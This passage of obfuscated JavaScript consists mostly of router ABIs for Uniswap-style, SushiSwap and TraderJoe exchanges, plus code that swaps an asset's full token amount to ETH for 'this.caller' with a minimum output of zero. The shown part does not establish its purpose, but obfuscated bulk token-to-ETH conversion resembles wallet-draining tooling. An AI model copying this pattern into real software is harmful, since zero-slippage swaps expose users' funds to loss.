name: "swapExactTokensForETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x19e9b7 = new ethers.Contract(_0x2b7b1b, _0x5e7947, _0x9d9505); | |
let _0xf80e0c = await _0x19e9b7.WETH(); | |
let _0x459a00 = []; | |
_0x459a00[0] = _0x4f37a4.asset.token; | |
_0x459a00[1] = _0xf80e0c; | |
return [_0x19e9b7.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x459a00, this.caller, _0x1b1427), _0xf80e0c]; | |
} | |
case "SushiSwap": | |
{ | |
let _0x269050 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapETHForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x2863aa = new ethers.Contract(_0x2b7b1b, _0x269050, _0x9d9505); | |
let _0x347138 = await _0x2863aa.WETH(); | |
let _0x5e16ae = []; | |
_0x5e16ae[0] = _0x4f37a4.asset.token; | |
_0x5e16ae[1] = _0x347138; | |
return [_0x2863aa.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x5e16ae, this.caller, _0x1b1427), _0x347138]; | |
} | |
case "TraderJoeV1": | |
{ | |
let _0x4bcdc6 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WAVAX", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WAVAX", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityAVAX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityAVAX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityAVAXSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityAVAXWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapAVAXForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactAVAXForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
